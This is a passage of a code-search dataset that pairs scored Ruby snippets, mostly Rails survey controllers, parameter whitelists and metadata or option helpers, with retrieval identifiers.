@agent.get \"http://www.surveymonkey.com/MySurveys.aspx\"\n @surveys = Array.new\n scrape_index(filter)\n @agent.page.links_with(:text => /^\\d+$/).each do |page_link|\n page_link.click\n scrape_index(filter)\n end\n \n # Scrape detail pages\n @surveys.collect!.with_index do |s, i|\n puts \"Scraping #{i+1}/#{@surveys.length} (#{(i+1)*100/@surveys.length}%)\"\n Survey.new(s)\n end\n end", "title": "" }, { "docid": "859f6c4ccf8516e62a6c479d81a6b149", "score": "0.56045187", "text": "def survey_params\n params.require(:survey).permit(:title, :author_id, :description, :link ,questions_attributes: [:id, :order_number, :question_type, :text, :required, :obliterate, answers_attributes: [:id, :text, :taker_id]] )\n end", "title": "" }, { "docid": "2fd4251a84a480307bde1f158564479c", "score": "0.56022376", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "title": "" }, { "docid": "2fd4251a84a480307bde1f158564479c", "score": "0.56022376", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "title": "" }, { "docid": "2fd4251a84a480307bde1f158564479c", "score": "0.56022376", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "title": "" }, { "docid": "2fd4251a84a480307bde1f158564479c", "score": "0.56022376", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "title": "" }, { "docid": "2fd4251a84a480307bde1f158564479c", "score": "0.56022376", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "title": "" }, { "docid": "1d8ba4bc2ff4d6f9647f40c47d59bf2f", "score": "0.55918896", "text": "def create\n @survey_tung = SurveyTung.new(params[:survey_tung])\n\n respond_to do |format|\n if @survey_tung.save\n format.html { redirect_to(@survey_tung, :notice => 'Survey tung was successfully created.') }\n format.xml { render :xml => @survey_tung, :status => :created, :location => @survey_tung }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey_tung.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "66dec9816b349b2c9aeebf5272e1471c", "score": "0.55917835", "text": "def send_survey\n @company.save\n @company.reload\n\n body = sprintf(SURVEY_EMAIL_TEMPLATE,\n name: @company.name,\n link: company_url(@company.uuid))\n\n send_email(sender: SURVEY_EMAIL_SENDER,\n recipients: @company.emails,\n subject: SURVEY_EMAIL_SUBJECT,\n html_body: body)\n end", "title": "" }, { "docid": "fe079c9d3a80f2e41ebf1bb9229b63cb", "score": "0.55879265", "text": "def new\n @survey_question = SurveyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey_question }\n end\n end", "title": "" }, { "docid": "21e8519d0a0f46f5a4cb18eced38cbb3", "score": "0.55870104", "text": "def survey_params\n \tparams.require(:survey).permit(:name, :status, :user_id, \n \t\tquestions_attributes:[:id, :question_content, :survey_id])\n end", "title": "" }, { "docid": "b6e59f708b398d02334fe64f69989856", "score": "0.5583117", "text": "def survey_params\n params.require(:survey).permit( :name, :form_type, :disabled, :form_section_id, :archive )\n end", "title": "" }, { "docid": "c39061b4254d2b7296a055cbd6fb0d34", "score": "0.5575844", "text": "def response_survey_params\n params.require(:response_survey).permit(:name)\n end", "title": "" }, { "docid": "6bac29fa25e195cf578bfb66b87c9c69", "score": "0.5573306", "text": "def survey_response_params\n params[:survey_response]\n end", "title": "" }, { "docid": "97e9c6cc3a341337f6a3be9e2ccccc5f", "score": "0.5570461", "text": "def create\n @survey = Survey.new(survey_params)\n @survey.author_id = @current_user.id\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render :show, status: :created, location: @survey }\n else\n format.html { render :new }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "627bbe1262fd0d90356e8b202639fff1", "score": "0.5558697", "text": "def create\n \t @surveytype = Surveytype.new(params[:surveytype])\n end", "title": "" }, { "docid": "c93933f24f73ab79b431bb07538001e9", "score": "0.5553931", "text": "def create\n end_date = params[:survey][:end_date]\n @survey = current_space.surveys.new(survey_params)\n @survey.end_date = customized_date\n @survey.admin = current_user\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to edit_survey_path(id: @survey.id), info: t('surveys.add') }\n format.json { render :show, status: :created, location: @survey }\n else\n format.html { redirect_to create_a_survey_path, danger: @survey.errors.full_messages }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c073644ec1c1ed67ed1644c19f5c6245", "score": "0.5553496", "text": "def create\n @question = Question.new(question_params)\n @survey = Survey.find(params[:id])\n @surveys = Survey.all\n @questions = Question.all\n if @question.save\n flash[:notice] = 'Question was successfully created.' \n redirect_to(:controller => 'surveys', :action => 'index', :survey_id => @survey.id)\n else\n \n render('new') \n end\n end", "title": "" }, { "docid": "c7de2b7191f5f21a44b80538cd5b9769", "score": "0.5552845", "text": "def survey_params\n params.require(:survey).permit(:survey_ref, :date, :district, :road_name, :from, :to, :latitude, :longitude, :road_class, :road_type, :no_of_lanes, :lane_width, \n :shoulder_type, :shoulder_width, :pavement_condition, :built_environment, :row, :speed_limit, :ffs, :traffic_composition, :access_point_density, :up_grade, \n :up_distance_to_junction, :up_junction_type, :up_signalized, :down_grade, :down_distance_to_junction, :down_junction_type, :down_signalized)\n end", "title": "" }, { "docid": "c3307294648fcdfd93e96cdbddc586b5", "score": "0.55455273", "text": "def create\n @survey_response = SurveyResponse.new(survey_response_params)\n\n respond_to do |format|\n if @survey_response.save\n format.html { redirect_to @survey_response, notice: 'Survey response was successfully created.' }\n format.json { render :show, status: :created, location: @survey_response }\n else\n format.html { render :new }\n format.json { render json: @survey_response.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4d3ee852698a6942b1e710124d3634c", "score": "0.5539011", "text": "def new\n @my_survey = nil # MySurvey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_survey }\n end\n end", "title": "" }, { "docid": "f28fd9bb40a7dc8584950f4b3b5ac714", "score": "0.552747", "text": "def setup(surveys)\n\t\t@surveys = surveys\n\tend", "title": "" }, { "docid": "d8f046f58c9d3692b14fbafd0d7f934a", "score": "0.55196196", "text": "def index\n @group = Group.find(params[:group_id])\n @surveys = @group.surveys\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @surveys }\n end\n end", "title": "" }, { "docid": "a1e6e1acc9b3a7b58bef44aba79fbd0b", "score": "0.55194765", "text": "def create\n @survey_response = SurveyResponse.new(params[:survey_response])\n\n respond_to do |format|\n if @survey_response.save\n format.html { redirect_to survey_survey_responses_path(params[:survey_id]), notice: 'Survey response was successfully created.' }\n format.json { render json: @survey_response, status: :created, location: @survey_response }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey_response.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2c1c5e1ace0525de751949140251625", "score": "0.5516023", "text": "def survey_params\n params.require(:survey).permit(:id, :comment, questions_attributes: [:id, :label, :grade])\n end", "title": "" }, { "docid": "130d906de4be9f28b62f666f6c95a0b1", "score": "0.5514697", "text": "def survey_params\n params.require(:survey).permit(:pollitem_id, :user_id)\n end", "title": "" }, { "docid": "7dfa67f85b502017d2ddc443fb5d5cb2", "score": "0.5509931", "text": "def create_survey\n CompanySurvey.create!(company_survey_args)\n\n flash[:status] = :success\n flash[:message] = \"Thank you for submitting the survey!\"\n redirect_to company_path(@company.uuid)\n rescue ActiveRecord::RecordInvalid => ex\n report_error(:bad_request,\n \"Failed to submit survey: #{ex.message}\",\n render_view: :show)\n end", "title": "" }, { "docid": "8c985671a64c3fb87fc2298a619612d4", "score": "0.5500614", "text": "def survey_params\n params.require(:survey).permit(\n :user_id,\n :household_id, \n :latitude, \n :longitude, \n :bad_since, \n :traveled_to,\n :street, \n :city, \n :state, \n :country,\n :went_to_hospital,\n :contact_with_symptom,\n symptom: []\n ) \n end", "title": "" }, { "docid": "c4d7d0d94bc61941eed1edce9a2e1360", "score": "0.5493176", "text": "def create\r\n @survey_response = SurveyResponse.new(params[:survey_response])\r\n\r\n respond_to do |format|\r\n if @survey_response.save\r\n format.html { redirect_to @survey_response, notice: 'Survey response was successfully created.' }\r\n format.json { render json: @survey_response, status: :created, location: @survey_response }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @survey_response.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "a793b6bf2577e9f03b014a763dc1de87", "score": "0.54748553", "text": "def response_params\n params.require(:response).permit(:survey_id,\n :answers_attributes => [:id, :answer, :question_id]\n )\n end", "title": "" }, { "docid": "d577fc7074fc37becd221d98af4adfcf", "score": "0.5468696", "text": "def survey_response_params\n params.permit(:user_id, :survey_id)\n end", "title": "" }, { "docid": "953089f0315a63c5bab0f9aa78795727", "score": "0.54680055", "text": "def create\n @initial_survey = InitialSurvey.new(initial_survey_params)\n cookies[:user] = @initial_survey.user\n\n respond_to do |format|\n if @initial_survey.save\n format.html { redirect_to new_simulation_path, notice: 'Initial survey was successfully created.' }\n format.json { render :show, status: :created, location: @initial_survey }\n else\n format.html { render :new }\n format.json { render json: @initial_survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2382923de2a504728d2cdc91ac63e1f9", "score": "0.546069", "text": "def survey_response_params\n params.require(:survey_response).permit(\n :survey_id, \n :crisis_id,\n :latitude,\n :longitude,\n :participant_id, \n :participant_type, \n :iteration,\n :date,\n :question_responses_attributes => [:id, :question_id, :answer])\n end", "title": "" }, { "docid": "00e69943d024df91f7091986b91bbdcc", "score": "0.54590374", "text": "def new\n\t\t@survey = Survey.new\n\t\trespond_to do |format|\n\t format.html {render html: new_survey_path}\n \t\tformat.json { render json: @survey }\n\t end\n\tend", "title": "" }, { "docid": "dbf4a4275977ef537f8da50144cfc1ce", "score": "0.5456621", "text": "def create\n @survey_option = SurveyOption.new(params[:survey_option])\n\n respond_to do |format|\n if @survey_option.save\n format.html { redirect_to(@survey_option, :notice => 'Survey option was successfully created.') }\n format.xml { render :xml => @survey_option, :status => :created, :location => @survey_option }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey_option.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81e954765a349158eb1d28803440bbb3", "score": "0.54307127", "text": "def create\n @survey_instance = SurveyInstance.new(survey_instance_params)\n\n respond_to do |format|\n if @survey_instance.save\n format.html { redirect_to @survey_instance, notice: 'Survey instance was successfully created.' }\n format.json { render :show, status: :created, location: @survey_instance }\n else\n format.html { render :new }\n format.json { render json: @survey_instance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc2bc242d1e546cf22a07cb5037e95c7", "score": "0.542929", "text": "def new\n @survey_answer = SurveyAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey_answer }\n end\n end", "title": "" } ]
ebf74a7668d0e60209c22f0d0bc651f6
Set any kind of meta data needed for the options
[ { "docid": "038fd640cb9a2f5fc7c5e42b4c1decf9", "score": "0.0", "text": "def get_meta_data(meta = {})\r\n ret_meta = meta\r\n if request.headers['auth_failure']\r\n ret_meta[:authFailure] = true\r\n else\r\n if current_token.present?\r\n ret_meta[:jwt] = current_token\r\n end\r\n end\r\n ret_meta\r\n end", "title": "" } ]
[ { "docid": "62372606b6ed45d1dc36c2cc8daebcea", "score": "0.77618754", "text": "def meta_options; end", "title": "" }, { "docid": "d7c7dddabcbf93690f6ae5e253e351d8", "score": "0.73047495", "text": "def set_meta_data(meta)\n @meta ||= {}\n @meta = @meta.merge(meta)\n end", "title": "" }, { "docid": "902e0f5fed9bb17dae057fa00b1f1c67", "score": "0.71758044", "text": "def meta(_options)\n {}\n end", "title": "" }, { "docid": "d2c8637cf3d0c6f6a273f03c1ce78f84", "score": "0.71699005", "text": "def meta\n return @meta if @meta\n\n meta_option = options[:meta]\n @meta = meta_option.nil? ? {} : meta_option.to_hash\n end", "title": "" }, { "docid": "88f645dc45a7ae2144dbf8016a1d3c55", "score": "0.692466", "text": "def set_meta_data(options)\n options.each do |option|\n gmt = self.mg_goal_meta_types.find_by_var(option[0].to_s)\n\n #Create cmt if it doesn't current exist (unless nil)\n if gmt.nil? && !option[1].nil? && ( option[1].is_a?(Integer) || option[1].is_a?(String) )\n #infer type\n meta_type = \"gi_meta\" if option[1].is_a?(Integer)\n meta_type = \"gs_meta\" if option[1].is_a?(String)\n gmt = mg_goal.mg_goal_meta_types.create!(:name => option[0].to_s, :var => option[0].to_s, :meta_type => meta_type)\n end\n \n if !gmt.nil? #only if we can do it\n gmt.meta.create!(:mg_record_id => self.id, :data => option[1]) if !option[1].nil?\n end\n end\n end", "title": "" }, { "docid": "b1c52c8bceaffb6c8764706834cbc796", "score": "0.686004", "text": "def make_meta_options(layer); end", "title": "" }, { "docid": "51f89c7e538b19327174b015ba1891d5", "score": "0.6760883", "text": "def set_Meta(value)\n set_input(\"Meta\", value)\n end", "title": "" }, { "docid": "51f89c7e538b19327174b015ba1891d5", "score": "0.6760883", "text": "def set_Meta(value)\n set_input(\"Meta\", value)\n end", "title": "" }, { "docid": "e4ca2e0df2bde0400913fefc0f3d1da3", "score": "0.6758691", "text": "def meta_options\n meta_opts = {}\n\n meta_tags.each do |meta|\n tag_name = meta['name'] && meta['name'][/#{Ernie.configuration.meta_tag_prefix}([a-z_-]+)/, 1]\n next unless tag_name\n\n Utils.deep_assign meta_opts, tag_name.split('-'), meta['content']\n end\n\n meta_opts\n end", "title": "" }, { "docid": "53e568c697ec5e58213641fe0b7ac39e", "score": "0.675308", "text": "def set_meta_keys\n end", "title": "" }, { "docid": "459d5cf05542a056b97166b2dd8cb6b1", "score": "0.67093086", "text": "def options\n if Option.first.nil?\n @app_name = \"\"\n @meta_key = \"andaly\"\n @meta_des = \"andaly\"\n @css = \"design_1\"\n else\n option = Option.first\n @app_name = option.app_name \n @meta_key = option.meta_keywords\n @meta_des = option.meta_description\n @css = option.css.to_s\n @owner = option.owner_name\n end\n end", "title": "" }, { "docid": "113e1ae220608a3ccf286537abe32134", "score": "0.6701592", "text": "def option_metas\n meta_or ['options', 'opts', 'vars'], []\n end", "title": "" }, { "docid": "ec9f6093fd1c4333609e8a401007e03e", "score": "0.6699042", "text": "def meta_options\n meta_opts = {}\n\n meta_tags.each do |meta|\n tag_name = meta['name'] && meta['name'][/#{Grover.configuration.meta_tag_prefix}([a-z_-]+)/, 1]\n next unless tag_name\n\n Utils.deep_assign meta_opts, tag_name.split('-'), meta['content']\n end\n\n meta_opts\n end", "title": "" }, { "docid": "21347f3973971fa0a34107a3fde163ea", "score": "0.64800614", "text": "def meta(options = T.unsafe(nil)); end", "title": "" }, { "docid": "d9e89bc8c12702e82f913bad28e9ba98", "score": "0.64764917", "text": "def set_metakey\n @metavalue = Metavalue.find(params[:id])\n end", "title": "" }, { "docid": "9096c526bb72d7e15abf01be836dc6f6", "score": "0.6474891", "text": "def metadata(meta)\n [:name, :description, :author, :license, :version, :url, :timeout].each do |arg|\n raise \"Metadata needs a :#{arg}\" unless meta.include?(arg)\n end\n\n @meta = meta\n end", "title": "" }, { "docid": "94c3d3c1c954f16655051d9e1dba5a7c", "score": "0.647168", "text": "def show_options(meta = {})\r\n opts = { is_collection: false }\r\n opts[:meta] = get_meta_data(meta)\r\n opts[:params] = get_params_data\r\n opts\r\n end", "title": "" }, { "docid": "10b8aba0d9cf383dadcc8f9502866001", "score": "0.6470021", "text": "def set_option_info(info)\n\t\t\t@is_privategame = info[\"prive\"][\"val\"]\n\t\t\t@is_scoredgame = info[\"class\"]\n\t\t\tinfo[\"opt_game\"].each do |k,v|\n\t\t\t\t@options_for_core_game [k] = v[\"val\"]\n\t\t\tend\n\t\t\t@info_hash = info\n\t\tend", "title": "" }, { "docid": "3360a474bcf02446e804176393dc470d", "score": "0.6467641", "text": "def metadata(meta)\n [:name, :description, :author, :license, :version, :url, :timeout].each do |arg|\n raise \"Metadata needs a :#{arg} property\" unless meta.include?(arg)\n end\n\n @meta = meta\n end", "title": "" }, { "docid": "9b372bccdfd4a337e48721528341b8ad", "score": "0.6457525", "text": "def set_options(options); end", "title": "" }, { "docid": "8699ee122509e34a8fe02f9cbf3e3028", "score": "0.64195174", "text": "def additional_data_options=(value)\n @additional_data_options = value\n end", "title": "" }, { "docid": "c54cdb645405cbb8d3ec45f515f731ad", "score": "0.64074916", "text": "def set(options); end", "title": "" }, { "docid": "c54cdb645405cbb8d3ec45f515f731ad", "score": "0.64074916", "text": "def set(options); end", "title": "" }, { "docid": "b65ea0459657631467dedba904560294", "score": "0.63877225", "text": "def set_meta_data\n @meta = {:title => \"#{self.controller_name.capitalize} #{self.action_name.downcase}\",\n :description => \"Foliosus Web Design LLC provides quality custom websites.\"}\n end", "title": "" }, { "docid": "00aec4ca88afb5c036d35c2f7c7d492f", "score": "0.63876957", "text": "def meta(options)\n { copyright: \"© #{Time.now.year} Radosław Stolarski\" }\n end", "title": "" }, { "docid": "198fe6ab1996412548c600ab92dd92cd", "score": "0.63767517", "text": "def set_meta\n coding = FHIR::Coding.new\n coding.system = META_SYSTEM\n coding.code = META_CODE\n coding.display = META_DISPLAY\n\n meta.tag = [coding]\n meta\n end", "title": "" }, { "docid": "c7bb40c5aa7db8e373d6419f5ddd2c8a", "score": "0.6370736", "text": "def set(**options); end", "title": "" }, { "docid": "bff3d2fd632fecb3a6c07b789da90c85", "score": "0.63569593", "text": "def set_meta_info\n @meta_info = MetaInfo.find(params[:id])\n end", "title": "" }, { "docid": "d48f0f3f204455c16b217a15dabd2d6e", "score": "0.6313698", "text": "def options\n self.class.meta[:options]\n end", "title": "" }, { "docid": "7e9f805b64c05974514b68bf91c3e816", "score": "0.63055766", "text": "def set_meta\n title = \"Are You Ready To Take The Ideal Me 'Dream Life' Challenge?\"\n description = \"12 Goals, One A Month, The Best Celeb Experts, Info & Products & Testing It For Max Results In Minimal Time To See What Works, What Doesn't And How To Become Your Ideal Me\"\n image = ''\n set_meta_tags(og: { site_name: 'Ideal Me', title: title, description: description, type: :website, url: 'https://www.idealme.com', image: image },\n fb: { admins: %w(100004702779319 278115168965598 470201106346280).join(',') },\n twitter: { card: 'summary', title: title, description: description, image: image },\n server: IM_HOSTNAME\n\n )\n end", "title": "" }, { "docid": "e181dec5ccf9e2f8e56eae0537b21231", "score": "0.6300805", "text": "def metadata\n @metadata ||= options[:metadata]\n end", "title": "" }, { "docid": "e097c866ae2c3adc73cdcedc0fb4c116", "score": "0.62849665", "text": "def set_meta_description(options = {})\n\t\t@meta[:description] = I18n.translate(\"#{meta_key}.description\", options)\n\t\t@meta[:description] = I18n.translate('meta.default.description') if !have_translation?(@meta[:description])\n\t\t@meta[:description]\n\tend", "title": "" }, { "docid": "b72bf535b20480968d01c8b2e5364cbd", "score": "0.62413585", "text": "def meta\n end", "title": "" }, { "docid": "4f4c7d662a9c6c5bfe47f12f1d0ba6ff", "score": "0.6223071", "text": "def set_meta\n @meta = Meta.find(params[:id])\n end", "title": "" }, { "docid": "5e2bf548d43849d8f2bc43ae708ba9b6", "score": "0.6207814", "text": "def meta=val\n val = JSON.parse(val) if val.is_a?(String)\n write_store_attribute(:data, :meta, val)\n end", "title": "" }, { "docid": "fcd5de978fab22e3012249e5c9e37d47", "score": "0.61946803", "text": "def setup_options\n end", "title": "" }, { "docid": "e97739847f6d70fa37246776e9f8197d", "score": "0.61830956", "text": "def prepare_meta_tags(options={})\n site_name = 'TrekHub'\n title = options[:title] || action_name.capitalize\n description = 'Organizing trekking tours, adventures tours. We hold expertise in offering you India trekking tours at best prices. Get complete information about famous treks for Trekking in India.'\n image = options[:image] || 'http://www.trekhub.in/imgs/logo.png'\n current_url = request.url\n\n defaults = {\n site: site_name,\n title: title,\n reverse: true,\n icon: 'favicon.ico',\n image: image,\n description: description,\n keywords: %w[trekhub adventure tourism trekking India paraglide scuba diving skydiving team outings campsites corporate tours],\n category: 'Tourist Guide, Adventure Guide India, Trekking Tour Guide, Hiking Tour Guide',\n classification: 'Tours, Travel, Tourism, Tour Guide, Tourism Guide, Tourist Guide, Adventure Guide, Trekking Tour Guide, Hiking Tour Guide',\n DC: {\n title: 'Trekhub – Adventure Trekking Tours Guide in India | Adventure Tourism'\n },\n geo: {\n region: 'IN-KA',\n placename: 'Bengaluru',\n position: '12.898622;77.570897'\n },\n ICBM: '12.898622;77.570897',\n googlebot: 'index, follow',\n msnbot: 'index, follow',\n YahooSeeker: 'index, follow',\n twitter: {\n site_name: site_name,\n title: title,\n site: '@TrekHubIN',\n card: 'summary',\n description: description,\n image: image\n },\n og: {\n url: current_url,\n site_name: site_name,\n title: title,\n image: image,\n description: description,\n type: 'website'\n },\n author: 'humans.txt',\n publisher: 'https://plus.google.com/+TrekhubInindia'\n }\n\n options.reverse_merge!(defaults)\n\n set_meta_tags options\n end", "title": "" }, { "docid": "e07f924ff1fa7825b2027b12460cff56", "score": "0.61782", "text": "def ks_meta=(value)\n # name argument for cobbler\n namearg='--name=' + @resource[:name]\n\n # construct commandline from value hash\n cobblerargs='distro edit --name=' + @resource[:name]\n cobblerargs=cobblerargs.split(' ')\n # set up kernel options\n ksmeta_value = []\n # if value is ~, that means key is standalone option\n value.each do |key,val|\n if val==\"~\"\n ksmeta_value << \"#{key}\"\n else\n ksmeta_value << \"#{key}=#{val}\" unless val==\"~\"\n end\n end\n cobblerargs << ('--ksmeta=' + ksmeta_value * ' ')\n # finally run command to set value\n cobbler(cobblerargs)\n # update property_hash\n @property_hash[:ks_meta]=(value)\n end", "title": "" }, { "docid": "f9d5473b522402b34e37c92b9d5640ff", "score": "0.617721", "text": "def set_options(options)\n options[:label] ||= {}\n options[:field] ||= {}\n end", "title": "" }, { "docid": "e01f06226c2d3cf3e58ae2a2549a1084", "score": "0.61748517", "text": "def set_meta(config = {})\n @meta = {} if @meta.blank?\n\n config.each do |k, i|\n unless i.nil?\n i = i.gsub(/<\\/?[^>]*>/, \"\")\n @meta[k] = i[0..200]+(i.length > 200 ? \"...\" : \"\")\n end\n end\n\n end", "title": "" }, { "docid": "d484cad1486e758f2c32a7864d2899a7", "score": "0.61745083", "text": "def api_meta(options)\n if params[:nometa].present? || request.headers['X-Redmine-Nometa']\n # compatibility mode for activeresource clients that raise\n # an error when unserializing an array with attributes\n nil\n else\n options\n end\n end", "title": "" }, { "docid": "57a395e70774e25311549ac93e1ac65b", "score": "0.6165169", "text": "def set_options opts=nil\n opts ||= {}\n self.icon = opts[:icon] unless opts[:icon].nil?\n self.url = opts[:url] unless opts[:url].nil?\n self.selected = opts[:selected] unless opts[:selected].nil?\n end", "title": "" }, { "docid": "c5daeea7b2995c6d3104815d16100e2c", "score": "0.6158005", "text": "def set_metas\n @meta = Meta.find(params[:id])\n end", "title": "" }, { "docid": "aa41622416af4985cef01e804af78059", "score": "0.6124713", "text": "def register_options; end", "title": "" }, { "docid": "1ad5f4af49da8065d2f3e1c9bdb279a3", "score": "0.6120615", "text": "def meta(options)\n super_meta = super options\n\n if self.class.metadata\n metadata = self.class.metadata\n .map { |m| m.call options, self }\n .reduce({}, :merge)\n .transform_keys { |k| options[:serializer].key_formatter.format k }\n\n super_meta.merge metadata\n else\n super_meta\n end\n end", "title": "" }, { "docid": "d3c8837d7adc6ddced85b5f9e7305d2f", "score": "0.6112559", "text": "def set_options\n @options = Option.get_options\n end", "title": "" }, { "docid": "38457fc951a44a980e89be27a095cf0b", "score": "0.6111081", "text": "def merge_options(options)\n options.each_pair do |key, val|\n self.meta_answer_options << MetaAnswerOption.new(:human_value => val[\"human_value\"], :order_identifier => key, :identifier => \"#{self.identifier}o#{key}\")\n end\n end", "title": "" }, { "docid": "a57e9c92b1ee9a143f5929e42a37de1c", "score": "0.6109232", "text": "def set_meta_data\n @page_title = @page.meta_title.blank? ? @page.title : @page.meta_title\n unless @page.meta_keywords.blank?\n @meta_keywords = @page.meta_keywords\n end\n unless @page.meta_description.blank?\n @meta_description = @page.meta_description\n end\n end", "title": "" }, { "docid": "495419ea568ab1c50e1d8023645231e6", "score": "0.6104556", "text": "def options() end", "title": "" }, { "docid": "8b86dd0bde3a2ddf15785be531f921d3", "score": "0.6091001", "text": "def meta_defaults\n @meta_title = \"Sublime Sydney | Luxury & Boutique Hotels | Travel Guide\"\n @meta_keywords = \"Sydney luxury hotel, Sydney boutique hotel, Sydney luxury accommodation, Sydney boutique accommodation, Sydney luxury travel, Sydney boutique travel, Sydney travel guide\"\n @meta_description = \"Sublime Sydney is Sydney's ultimate travel guide for luxury hotels, boutique hotels, fine dining & more. Sydney luxury hotels, Sydney boutique hotels, Sydney luxury travel, Sydney boutique travel.\"\n\t end", "title": "" }, { "docid": "1ee032d6b4e6e2a7fc31fd0759e3c9c1", "score": "0.60888606", "text": "def set_meta(key,val)\n\t\t@meta[key] = val\n\tend", "title": "" }, { "docid": "d05b36c712da7d5a182f62e3d0023501", "score": "0.60830814", "text": "def setup_opts\n @options.each do |opt|\n @shorts[opt.short_name] = opt\n @longs[opt.long_name] = opt\n @arity_check << opt if opt.multiple?\n\n if opt.default?\n case opt.default\n when Proc\n assign_option(opt, opt.default.())\n else\n assign_option(opt, opt.default)\n end\n elsif !(opt.argument_optional? || opt.argument_required?)\n assign_option(opt, false)\n elsif opt.required?\n @required_check << opt\n end\n end\n end", "title": "" }, { "docid": "f5eb96987ebb75276ad01298a4196355", "score": "0.6070332", "text": "def initialize\n super\n\n @options = {}\n @short_option_index = {}\n end", "title": "" }, { "docid": "f6a0f4af2add92a2e485e014e428e0bb", "score": "0.60498947", "text": "def meta=(hash)\n store.params[:meta] = hash\n end", "title": "" }, { "docid": "383d9e9aee075dade07975dac5a09204", "score": "0.6042551", "text": "def add_metadata(post, options)\n post['DatabaseId'] = options[:database_id]\n post['Source'] = truncate(options[:source], 50)\n (1..20).each do |index|\n k = \"other#{index}\".to_sym\n post[\"Other#{index}\"] = options[k] if options.key?(k)\n end\n end", "title": "" }, { "docid": "793fee27b282ad5fe8e0233a3fa30688", "score": "0.6034446", "text": "def set_metadata(json)\n @metadata = json[\"meta\"] if json[\"meta\"]\n end", "title": "" }, { "docid": "83709fd185b4a4259d6efa995ac16db6", "score": "0.6020105", "text": "def set_atributes\n\t \tif( (self.source||= isFrom) == 'youtube')\n\t \t\t#store metaddata from youtube\n\t \t\tself.name = @metadata['media$title']['$t']\n\t \t\tself.image = @metadata['media$thumbnail'][1]['url']\n\t \telsif( (self.source||= isFrom) == 'soundcloud')\n\t \t\t#get metadata from soundcloud api\n\t \t\tjson = open('http://api.soundcloud.com/resolve.json?url='+self.url+'&client_id=978f352c112cb02aa31166a4824dd0da')\n\t \t\t@metadata = JSON.parse(json.read)\n\t \t\tself.identifier = @metadata['stream_url']\n\t \t\tself.name = @metadata['title']\n\t \t\tself.image = @metadata['artwork_url']\n\t \t\t#replace small artwork image url with bigger one\n\t \t\tself.image.sub!('large','t300x300')\n\t \tend\n\tend", "title": "" }, { "docid": "52c369bac12d2eaf3dda583118d995ca", "score": "0.6011152", "text": "def set_meta\n @meta = Meta.find(params[:id])\n end", "title": "" }, { "docid": "52c369bac12d2eaf3dda583118d995ca", "score": "0.6011152", "text": "def set_meta\n @meta = Meta.find(params[:id])\n end", "title": "" }, { "docid": "22c7e65c4f95dc44a544718133198363", "score": "0.60048974", "text": "def options=(_); end", "title": "" }, { "docid": "22c7e65c4f95dc44a544718133198363", "score": "0.60048974", "text": "def options=(_); end", "title": "" }, { "docid": "22c7e65c4f95dc44a544718133198363", "score": "0.60048974", "text": "def options=(_); end", "title": "" }, { "docid": "22c7e65c4f95dc44a544718133198363", "score": "0.60048974", "text": "def options=(_); end", "title": "" }, { "docid": "22c7e65c4f95dc44a544718133198363", "score": "0.60048974", "text": "def options=(_); end", "title": "" }, { "docid": "d6538d8dcb9faeacccb9aad52d21d808", "score": "0.5978856", "text": "def extra_options=(options)\n @options = options\n end", "title": "" }, { "docid": "51383bcfe7e292f0a851b19c245c3aad", "score": "0.59565264", "text": "def process_options\n \n end", "title": "" }, { "docid": "405fea18a4b1c44628508aeed3f63e98", "score": "0.5952401", "text": "def add_specific_options(opts)\n end", "title": "" }, { "docid": "5631625052c54ac01ca399961e3957b2", "score": "0.5945355", "text": "def set_seo_meta(title, options = {})\n keywords = options[:keywords] || \"\"\n description = options[:description] || \"\"\n\n if title.length > 0\n @page_title = \"#{title} &raquo; \"\n end\n @meta_keywords = keywords\n @meta_description = description\n end", "title": "" }, { "docid": "ed6c225fbd8e6f466f3c81625f7a7c91", "score": "0.5932248", "text": "def set_seo_meta(title, options = {})\r\n keywords = options[:keywords] || \"\"\r\n description = options[:description] || \"\"\r\n\r\n if title.length > 0\r\n @page_title = \"#{title} &raquo; \"\r\n end\r\n @meta_keywords = keywords\r\n @meta_description = description\r\n end", "title": "" }, { "docid": "32a881c86494e7c5af9f138cca8fa3b5", "score": "0.59196603", "text": "def initialize\n @options = Hash.new\n @extra_options = Hash.new\n end", "title": "" }, { "docid": "fdfac11ea621fd4033292040fe8a2489", "score": "0.5918352", "text": "def setup_meta_data(page)\n @page_title = page.title if page.title.present?\n @page_description = page.meta_description if page.meta_description.present?\n @page_keywords = page.meta_keywords if page.meta_keywords.present?\n end", "title": "" }, { "docid": "b79dfc461663f04bf33b4f441a1c25a9", "score": "0.5913253", "text": "def set_meta_content(item)\n set_default_meta_content\n\n ###### Check to see if need to override defaults ######\n if (item.has_attribute?(\"news_category\") and item.news_item? )\n @description = item.news_long_blurb.present? ? 